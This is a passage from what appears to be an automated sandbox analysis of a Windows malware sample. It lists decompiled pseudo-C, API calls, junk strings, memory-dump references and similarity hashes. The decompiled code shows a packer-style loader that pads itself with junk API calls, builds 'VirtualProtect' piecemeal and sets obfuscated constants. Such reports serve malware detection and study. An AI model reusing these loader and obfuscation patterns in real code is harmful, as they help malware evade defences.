						CreateSemaphoreA(0, 0, 0, "Lunijajutowatuy vokade jamoyu xomi");
						GetLocalTime(0);
						FindResourceExW(0, 0, 0, 0);
						CreateIoCompletionPort(0,  &_v12, 0, 0);
						CreateSemaphoreA(0, 0, 0, 0);
						SetTapeParameters(0, 0, 0);
						PeekConsoleInputA(0,  &_v44, 0,  &_v24);
						CreateIoCompletionPort(0, 0, 0, 0);
						GetProcAddress(0, 0);
						HeapUnlock(0);
						GetFileAttributesExA("nacafiretu", 0,  &_v2320);
						GetPrivateProfileStructW(0, 0,  &_v1296, 0, 0);
						TryEnterCriticalSection( &_v88);
						GetPrivateProfileStructW(L"Goxokukalogo gejoc", L"Kilolonuhu",  &_v6416, 0, L"Telako rikuroroxute");
						WritePrivateProfileSectionW(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						SetSystemTimeAdjustment(0, 0);
					}
					_v8 = _v8 + 1;
				} while (_v8 < 0xe6a95);
				_t190 = 0;
				_pop(_t181);
				_t223 =  *0x773824; // 0xf3c0
				if(_t223 > 0) {
					do {
						E0041A799(_t190);
						_t190 = _t190 + 1;
						_t224 = _t190 -  *0x773824; // 0xf3c0
					} while (_t224 < 0);
				}
				_t191 = 0;
				do {
					if(_t191 == 0x26) {
						E0041A8EB(_t181);
					}
					_t191 = _t191 + 1;
				} while (_t191 < 0x3dc4b7);
				E0041C50F(); // executed
				if( *0x773824 == 0x1d) {
					WriteConsoleW(0, 0, 0,  &_v12, 0);
					EndUpdateResourceA(0, 0);
					DefineDosDeviceA(0, 0, 0);
					LocalFileTimeToFileTime( &_v56,  &_v64);
					InterlockedExchange( &_v24, 0);
					SetMailslotInfo(0, 0);
					__imp__CreateActCtxA( &_v96);
					lstrcatW( &_v7440, 0);
					GetCurrentThreadId();
					TerminateProcess(0, 0);
					__imp__GetSystemWow64DirectoryA( &_v2320, 0);
					SetConsoleMode( &_v20, 0);
					_v44.Internal = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					WriteFile(0,  &_v1296, 0,  &_v16,  &_v44);
					lstrcmpA("Hocukuwamoyaso wabig", "Rusipoca hutujijini bivopi fopuhatuve wadag");
					GetPrivateProfileSectionW(L"Nufivo tobe vasitayip hitagibela",  &_v5392, 0, L"Cumoceyuvem kizaxuniti");
					DebugBreak();
					GetStringTypeExA(0, 0, "Reyahivi cekojer koxudarajih jadage", 0,  &_v8);
				}
				return 0;
				L8:
				_t61 =  *0x44a68c; // 0xffffd08a
				 *0x773824 = _t61;
				goto L9;
			}

0x0041c74c
0x0041c74c
0x0041c754
0x0041c75c
0x0041c767
0x0041c776
0x0041c77c
0x0041c782
0x0041c789
0x0041c791
0x0041c793
0x0041c795
0x0041c79b
0x0041c7a1
0x0041c7a7
0x0041c7ae
0x0041c7b4
0x0041c7c2
0x0041c7c2
0x0041c7c7
0x0041c7ce
0x00000000
0x0041c7d1
0x0041c7d8
0x0041c7e7
0x0041c7ee
0x0041c7f6
0x0041c7ff
0x0041c80e
0x0041c818
0x0041c823
0x0041c82e
0x0041c835
0x0041c845
0x0041c854
0x0041c863
0x0041c86b
0x0041c872
0x0041c87e
0x0041c888
0x0041c897
0x0041c89f
0x0041c8a6
0x0041c8b1
0x0041c8bb
0x0041c8c7
0x0041c8ce
0x0041c8d5
0x0041c8df
0x0041c8e8
0x0041c8f5
0x0041c8f5
0x0041c8fe
0x00000000
0x00000000
0x0041c900
0x0041c90a
0x00000000
0x00000000
0x0041c910
0x0041c91c
0x0041c91c
0x0041c91e
0x0041c924
0x0041c926
0x0041c926
0x0041c933
0x0041c938
0x0041c938
0x0041c93e
0x0041c94a
0x0041c975
0x0041c982
0x0041c982
0x0041c984
0x0041c985
0x0041c98d
0x0041c98f
0x0041c995
0x0041c997
0x0041c997
0x0041c9a8
0x0041c9ae
0x0041c9b9
0x0041c9c1
0x0041c9c8
0x0041c9d4
0x0041c9dc
0x0041c9e4
0x0041c9ea
0x0041c9eb
0x0041c9ec
0x0041c9ed
0x0041ca01
0x0041ca07
0x0041ca17
0x0041ca1d
0x0041ca29
0x0041ca38
0x0041ca49
0x0041ca51
0x0041ca51
0x0041ca57
0x0041ca58
0x0041ca64
0x0041ca69
0x0041ca6e
0x0041ca78
0x0041ca7a
0x0041ca7a
0x0041ca80
0x0041ca80
0x0041ca8f
0x0041ca92
0x0041ca9c
0x0041ca9f
0x0041ca9f
0x0041caac
0x0041caae
0x0041cab3
0x0041cab3
0x0041cabf
0x0041cacd
0x0041cad0
0x0041cada
0x0041cae7
0x0041caed
0x0041caf2
0x0041cb02
0x0041cb0c
0x0041cb10
0x0041cb17
0x0041cb2a
0x0041cb3b
0x0041cb45
0x0041cb62
0x0041cb6b
0x0041cb75
0x0041cb7d
0x0041cb7d
0x0041cb83
0x0041cb86
0x0041cb93
0x0041cb95
0x0041cb96
0x0041cb9c
0x0041cb9e
0x0041cb9f
0x0041cba4
0x0041cba5
0x0041cba5
0x0041cb9e
0x0041cbad
0x0041cbaf
0x0041cbb2
0x0041cbb4
0x0041cbb4
0x0041cbb9
0x0041cbba
0x0041cbc2
0x0041cbce
0x0041cbdc
0x0041cbe4
0x0041cbed
0x0041cbfb
0x0041cc06
0x0041cc0e
0x0041cc18
0x0041cc26
0x0041cc2c
0x0041cc34
0x0041cc42
0x0041cc4d
0x0041cc55
0x0041cc5b
0x0041cc5c
0x0041cc5d
0x0041cc5e
0x0041cc70
0x0041cc80
0x0041cc98
0x0041cc9e
0x0041ccb0
0x0041ccb0
0x0041ccbb
0x0041c912
0x0041c912
0x0041c917
0x00000000

APIs

__vswprintf_c_l.LIBCMTD ref: 0041C776

Part of subcall function 00420D80: __vswprintf_helper.LIBCMTD ref: 00420DA1

__wremove.LIBCMTD ref: 0041C77C

Part of subcall function 00424840: DeleteFileA.KERNEL32(?,?,?,0041C781,00000000,00772E20,00000A04,00000000,00000000,00000000), ref: 0042484A
Part of subcall function 00424840: GetLastError.KERNEL32(?,?,0041C781,00000000,00772E20,00000A04,00000000,00000000,00000000), ref: 00424854
Part of subcall function 00424840: __dosmaperr.LIBCMTD ref: 00424870

Part of subcall function 00424890: __wremove.LIBCMTD ref: 00424899

_putc.LIBCMTD ref: 0041C789

Part of subcall function 004245E0: __invalid_parameter.LIBCMTD ref: 0042466D

Part of subcall function 0041E2EB: __EH_prolog.LIBCMT ref: 0041E2F0

_atexit.LIBCMTD ref: 0041C7A1
_malloc.LIBCMTD ref: 0041C7A7
_realloc.LIBCMTD ref: 0041C7AE

Part of subcall function 00424330: __realloc_dbg.LIBCMTD ref: 00424344

Part of subcall function 0041E1D9: std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041E1EB

GetBinaryTypeA.KERNEL32(vefedaruyakocafojohimadihayunapejerihacuma,?), ref: 0041C7E7
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0041C7EE
Process32FirstW.KERNEL32(00000000,00000000), ref: 0041C7F6
EnterCriticalSection.KERNEL32(?), ref: 0041C7FF
QueryDosDeviceA.KERNEL32(00000000,?,00000000), ref: 0041C80E
TerminateJobObject.KERNEL32 ref: 0041C818
GlobalAddAtomA.KERNEL32 ref: 0041C823
UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C82E
FreeResource.KERNEL32(00000000), ref: 0041C835
GetFullPathNameA.KERNEL32(00000000,00000000,?,00000000), ref: 0041C845
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 0041C854
GetCompressedFileSizeA.KERNEL32(Ras,?), ref: 0041C863
FillConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 0041C87E
SetNamedPipeHandleState.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C888
lstrcpynA.KERNEL32(?,00000000,00000000), ref: 0041C897
FatalAppExitW.KERNEL32(00000000,00000000), ref: 0041C89F
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 0041C8A6
GetProcessTimes.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C8B1
ChangeTimerQueueTimer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C8BB
SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041C8C7
FindClose.KERNEL32(00000000), ref: 0041C8CE
CancelDeviceWakeupRequest.KERNEL32(00000000), ref: 0041C8D5
SignalObjectAndWait.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C8DF
GlobalReAlloc.KERNEL32 ref: 0041C8E8
OpenMutexA.KERNEL32 ref: 0041C8F5
GetLastError.KERNEL32 ref: 0041C926
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0041C938
GetComputerNameW.KERNEL32 ref: 0041C975
OpenMutexA.KERNEL32 ref: 0041C982
TlsAlloc.KERNEL32 ref: 0041C9AE
LoadLibraryW.KERNEL32(mirel), ref: 0041C9B9
GetConsoleScreenBufferInfo.KERNEL32(00000000,00000000), ref: 0041C9C1
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041C9C8
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041C9D4
GetDevicePowerState.KERNEL32(00000000,00000000), ref: 0041C9DC
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 0041CA01
GetConsoleAliasExesLengthA.KERNEL32 ref: 0041CA07
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041CA17
GetConsoleCP.KERNEL32 ref: 0041CA1D
LockFileEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041CA29
VerLanguageNameA.KERNEL32(00000000,?,00000000), ref: 0041CA38
lstrcpyA.KERNEL32(?,Vidizotina tufurig warixolefulig,00000000,?,00000000), ref: 0041CA49
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041CA51
GetThreadLocale.KERNEL32 ref: 0041CA7A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041CA9F
CreateSemaphoreA.KERNEL32 ref: 0041CACD
GetLocalTime.KERNEL32(00000000), ref: 0041CAD0
FindResourceExW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041CADA
CreateIoCompletionPort.KERNEL32(00000000,?,00000000,00000000), ref: 0041CAE7
CreateSemaphoreA.KERNEL32 ref: 0041CAED
SetTapeParameters.KERNEL32 ref: 0041CAF2
PeekConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 0041CB02
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041CB0C
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041CB10
HeapUnlock.KERNEL32(00000000), ref: 0041CB17
GetFileAttributesExA.KERNEL32(nacafiretu,00000000,?), ref: 0041CB2A
GetPrivateProfileStructW.KERNEL32 ref: 0041CB3B
TryEnterCriticalSection.KERNEL32(?), ref: 0041CB45
GetPrivateProfileStructW.KERNEL32 ref: 0041CB62
WritePrivateProfileSectionW.KERNEL32 ref: 0041CB6B
GetPrivateProfileSectionW.KERNEL32 ref: 0041CB75
SetSystemTimeAdjustment.KERNEL32 ref: 0041CB7D
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041CBDC
EndUpdateResourceA.KERNEL32 ref: 0041CBE4
DefineDosDeviceA.KERNEL32 ref: 0041CBED
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0041CBFB
InterlockedExchange.KERNEL32(?,00000000), ref: 0041CC06
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041CC0E
CreateActCtxA.KERNEL32(?), ref: 0041CC18
lstrcatW.KERNEL32(?,00000000), ref: 0041CC26
GetCurrentThreadId.KERNEL32 ref: 0041CC2C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041CC34
GetSystemWow64DirectoryA.KERNEL32(?,00000000), ref: 0041CC42
SetConsoleMode.KERNEL32(?,00000000), ref: 0041CC4D
WriteFile.KERNEL32(00000000,?,00000000,?,?), ref: 0041CC70
lstrcmpA.KERNEL32(Hocukuwamoyaso wabig,Rusipoca hutujijini bivopi fopuhatuve wadag), ref: 0041CC80
GetPrivateProfileSectionW.KERNEL32 ref: 0041CC98
DebugBreak.KERNEL32 ref: 0041CC9E
GetStringTypeExA.KERNEL32(00000000,00000000,Reyahivi cekojer koxudarajih jadage,00000000,000E6A95), ref: 0041CCB0

Strings

mirel, xrefs: 0041C9B4
X<, xrefs: 0041CAA5
Ras, xrefs: 0041C85E
Hocukuwamoyaso wabig, xrefs: 0041CC7B
Cumoceyuvem kizaxuniti, xrefs: 0041CC86
\H, xrefs: 0041CA58
Reyahivi cekojer koxudarajih jadage, xrefs: 0041CCA9
Rusipoca hutujijini bivopi fopuhatuve wadag, xrefs: 0041CC76
Goxokukalogo gejoc, xrefs: 0041CB5D
Telako rikuroroxute, xrefs: 0041CB4B
menimotonanojemem, xrefs: 0041C81E
hupezigisilegurazemalugisif, xrefs: 0041C8EE
vefedaruyakocafojohimadihayunapejerihacuma, xrefs: 0041C7E2
Kilolonuhu, xrefs: 0041CB58
Lunijajutowatuy vokade jamoyu xomi, xrefs: 0041CAC5
nacafiretu, xrefs: 0041CB25
buvamisom, xrefs: 0041C97B
Vidizotina tufurig warixolefulig, xrefs: 0041CA3D
Nufivo tobe vasitayip hitagibela, xrefs: 0041CC93

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleFile$CreatePrivateProfileSection$DeviceFreeNameTimeWrite$FindResourceTimer$AliasAllocCompletionCriticalCurrentDirectoryEnterEnvironmentErrorGlobalHeapInfoLastLengthLocalMutexNamedObjectOpenPipePortProcessSemaphoreStateStringsStructSystemTerminateThreadTypeUnlock__wremove$AddressAdjustmentAliasesAtomAttributesBinaryBreakBufferCancelChangeCharacterCloseCompressedComputerDebugDefineDeleteExchangeExesExitFatalFillFirstFullH_prologHandleInputInterlockedIos_base_dtorLanguageLibraryLoadLocaleLockMailslotModeMountNextOutputParametersPathPeekPointPowerProcProcess32QueryQueueRequestScreenShortSignalSizeStringTapeTimesTransactUpdateVolumeWaitWaitableWakeupWatchWow64__dosmaperr__invalid_parameter__realloc_dbg__vswprintf_c_l__vswprintf_helper_atexit_malloc_putc_realloclstrcatlstrcmplstrcpylstrcpynstd::ios_base::_
String ID: Cumoceyuvem kizaxuniti$Goxokukalogo gejoc$Hocukuwamoyaso wabig$Kilolonuhu$Lunijajutowatuy vokade jamoyu xomi$Nufivo tobe vasitayip hitagibela$Ras$Reyahivi cekojer koxudarajih jadage$Rusipoca hutujijini bivopi fopuhatuve wadag$Telako rikuroroxute$Vidizotina tufurig warixolefulig$X<$buvamisom$hupezigisilegurazemalugisif$menimotonanojemem$mirel$nacafiretu$vefedaruyakocafojohimadihayunapejerihacuma$\H
API String ID: 306618133-4095982607
Opcode ID: f3ca3db1e113605e457a31f7393e66d4010a461706073aae4551430e76966959
Instruction ID: 4bf6f0185b242d845a1d3c7e5d14ccae432dce3988f1f8ef8bfb937f54c6c146
Opcode Fuzzy Hash: f3ca3db1e113605e457a31f7393e66d4010a461706073aae4551430e76966959
Instruction Fuzzy Hash: 51E1FC76402528BBD711ABA1EE4DDDF7F6CEF4A391B004066F60AA6030C7385685CBBD

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8EB, Relevance: 65.5, APIs: 3, Strings: 34, Instructions: 786
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A8EB(void* __ebx) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				intOrPtr _v756;
				intOrPtr _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				intOrPtr _v872;
				intOrPtr _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				intOrPtr _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				intOrPtr _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v956;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				intOrPtr _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				intOrPtr _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				intOrPtr _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr _v1100;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				intOrPtr _v1136;
				intOrPtr _v1140;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				intOrPtr _v1160;
				intOrPtr _v1164;
				intOrPtr _v1168;
				intOrPtr _v1172;
				intOrPtr _v1176;
				intOrPtr _v1180;
				intOrPtr _v1184;
				intOrPtr _v1188;
				intOrPtr _v1192;
				intOrPtr _v1196;
				intOrPtr _v1200;
				intOrPtr _v1204;
				intOrPtr _v1208;
				intOrPtr _v1212;
				intOrPtr _v1216;
				intOrPtr _v1220;
				intOrPtr _v1224;
				intOrPtr _v1228;
				intOrPtr _v1232;
				intOrPtr _v1236;
				intOrPtr _v1240;
				intOrPtr _v1244;
				intOrPtr _v1248;
				intOrPtr _v1252;
				intOrPtr _v1256;
				intOrPtr _v1260;
				intOrPtr _v1264;
				intOrPtr _v1268;
				intOrPtr _v1272;
				intOrPtr _v1276;
				intOrPtr _v1280;
				intOrPtr _v1284;
				intOrPtr _v1288;
				intOrPtr _v1292;
				intOrPtr _v1296;
				intOrPtr _v1300;
				intOrPtr _v1304;
				intOrPtr _v1308;
				intOrPtr _v1312;
				intOrPtr _v1316;
				intOrPtr _v1320;
				long _v1324;
				int _t1483;
				CHAR* _t1567;

				"VirtualProtect" = 0x656b;
				"rtualProtect" = 0x72;
				"rotect" = 0x642e;
				 *0x44ba52 = 0x6c;
				 *0x44ba54 = 0;
				_v16 = 0x1585ce53;
				_v4 = 0x7742fe0f;
				_v1064 = 0x4646dd23;
				_v972 = 0x4075d87c;
				_v492 = 0x6d9becc;
				_v488 = 0x1c0df3a3;
				_v500 = 0x5090e978;
				_v628 = 0x556bf28e;
				_v976 = 0x54346b85;
				_v636 = 0x159a4af1;
				_v536 = 0x107b2ee1;
				_v1072 = 0x730da54;
				_v272 = 0x7750180e;
				_v644 = 0x1dca0fad;
				_v980 = 0x65544fff;
				_v372 = 0x7865ece;
				_v988 = 0x336cc1cc;
				_v112 = 0x6610b8e5;
				_v88 = 0x1250dbbb;
				_v508 = 0x31dca6e7;
				_v380 = 0x1a84784d;
				_v1172 = 0x4725625;
				_v680 = 0x5677b39e;
				_v1080 = 0x335dfc3b;
				_v296 = 0x23078573;
				_v388 = 0x14a24d41;
				_v788 = 0xe0e054e;
				_v996 = 0x4bb83cff;
				_v1176 = 0x7869c878;
				_v872 = 0xe933fff;
				_v776 = 0x61161b51;
				_v344 = 0x57e61415;
				_v544 = 0x470a664a;
				_v116 = 0x3ba820f;
				_v1088 = 0x2978adc8;
				_v592 = 0x7fb643c2;
				_v440 = 0x75295aa;
				_v880 = 0x77d02147;
				_v72 = 0x574a30b2;
				_v1004 = 0x668af624;
				_v12 = 0x30e3ce32;
				_v1012 = 0x4a3cbeee;
				_v20 = 0x5d106558;
				_v224 = 0x1a063a0d;
				_v1020 = 0x5553d04;
				_v888 = 0x7edd5ec;
				_v1184 = 0x728f35af;
				_v1248 = 0x4d08ddab;
				_v1180 = 0x3b63b427;
				_v124 = 0x53abb7ad;
				_v796 = 0x27d42422;
				_v132 = 0xa65aaa;
				_v1188 = 0x3a1d2c3;
				_v448 = 0x2a642b16;
				_v236 = 0x140d4cb4;
				_v392 = 0x7c396e8f;
				_v152 = 0x934595;
				_v160 = 0x772fbd56;
				_v688 = 0x9751132;
				_v1096 = 0x35ca885;
				_v652 = 0x300e9155;
				_v804 = 0x2b463d14;
				_v1256 = 0x7505d71b;
				_v516 = 0x6658a43c;
				_v176 = 0x740f1800;
				_v896 = 0x56156c98;
				_v248 = 0x7f96a288;
				_v32 = 0x58a4634a;
				_v1192 = 0x6e6f4f6b;
				_v1196 = 0x6f434b53;
				_v524 = 0x2af62163;
				_v1204 = 0x33028018;
				_v532 = 0x282fdd99;
				_v984 = 0xafde6e7;
				_v496 = 0x2e33a8db;
				_v904 = 0x4d329c9e;
				_v660 = 0x1a432b2f;
				_v244 = 0x43562b4;
				_v552 = 0x5ddceb83;
				_v812 = 0x575ef1bd;
				_v1104 = 0x46359574;
				_v396 = 0x5ea2a415;
				_v280 = 0x2de551f5;
				_v820 = 0x342617f;
				_v784 = 0x364234cd;
				_v696 = 0x563903a9;
				_v828 = 0x1c533d31;
				_v540 = 0x4c6be049;
				_v140 = 0x5563d541;
				_v252 = 0x4c3a3a28;
				_v200 = 0x68b93b4b;
				_v260 = 0x147b53ce;
				_v1212 = 0x6f5b452a;
				_v1220 = 0x58148cae;
				_v632 = 0x2a2e14b8;
				_v1228 = 0x7090eaed;
				_v1264 = 0x62ac1593;
				_v992 = 0x10cee8b9;
				_v548 = 0x7146715b;
				_v600 = 0x22b15c89;
				_v1028 = 0x3bd13129;
				_v352 = 0x5ff0dd5;
				_v128 = 0x4fc1e4e3;
				_v404 = 0x31747353;
				_v668 = 0x23bf818a;
				_v456 = 0x2a57c7b0;
				_v556 = 0xef03a7b;
				_v792 = 0x2ae22cfe;
				_v1000 = 0x12c2656f;
				_v1200 = 0x4c13e413;
				_v504 = 0x7e156dcd;
				_v836 = 0x248bfbfd;
				_v304 = 0x28e17edd;
				_v676 = 0x50533070;
				_v268 = 0x70061e26;
				_v684 = 0x6c8be159;
				_v1208 = 0x4949d7bf;
				_v564 = 0x4e4ff665;
				_v704 = 0x60785b46;
				_v48 = 0x7ff2ca0c;
				_v148 = 0x27a3ff31;
				_v1236 = 0x52067d32;
				_v156 = 0x66175292;
				_v692 = 0x630a2fca;
				_v1112 = 0x44338521;
				_v572 = 0x5f887805;
				_v1008 = 0x7bd0472e;
				_v400 = 0x16126506;
				_v28 = 0x78bffa56;
				_v36 = 0x2b727c00;
				_v276 = 0x6b53afec;
				_v560 = 0x78f2f396;
				_v912 = 0x30760576;
				_v232 = 0x191e3c25;
				_v712 = 0x22b3c5e1;
				_v1036 = 0x632708b2;
				_v320 = 0x65017f11;
				_v608 = 0x682b6faf;
				_v1216 = 0x1bd23bba;
				_v412 = 0x546a0f04;
				_v1244 = 0x55363a3d;
				_v844 = 0x227a254e;
				_v1120 = 0x59fbd285;
				_v1252 = 0x7f286637;
				_v800 = 0x15a59d5a;
				_v852 = 0x3fd092b0;
				_v1272 = 0x3502da08;
				_v640 = 0x1d62073e;
				_v1280 = 0x21400457;
				_v104 = 0xc85666a;
				_v24 = 0x7de4f95b;
				_v284 = 0x612f7709;
				_v144 = 0x3b484bf7;
				_v580 = 0x64011f8b;
				_v1044 = 0x2ad6448c;
				_v588 = 0xac616b9;
				_v292 = 0x30511d1c;
				_v860 = 0x451593ab;
				_v868 = 0x44d42f3a;
				_v360 = 0x5e89b2de;
				_v596 = 0x6a3f6bcc;
				_v1052 = 0x3c3ee72f;
				_v80 = 0x7975c2ea;
				_v1064 = _v1064 - 0x16ee091;
				_v16 = _v16 + 0x12700187;
				_v16 = _v16 + 0x1bb610e6;
				_v536 = _v536 - 0x8fd9208;
				_v1072 = _v1072 + 0xbedf0a5;
				_v636 = _v636 - 0x6e809e91;
				_v976 = _v976 + 0x6e64a50e;
				_v372 = _v372 + 0x3b9ccc7b;
				_v372 = _v372 - 0x4231abf7;
				_v112 = _v112 + 0x35c49474;
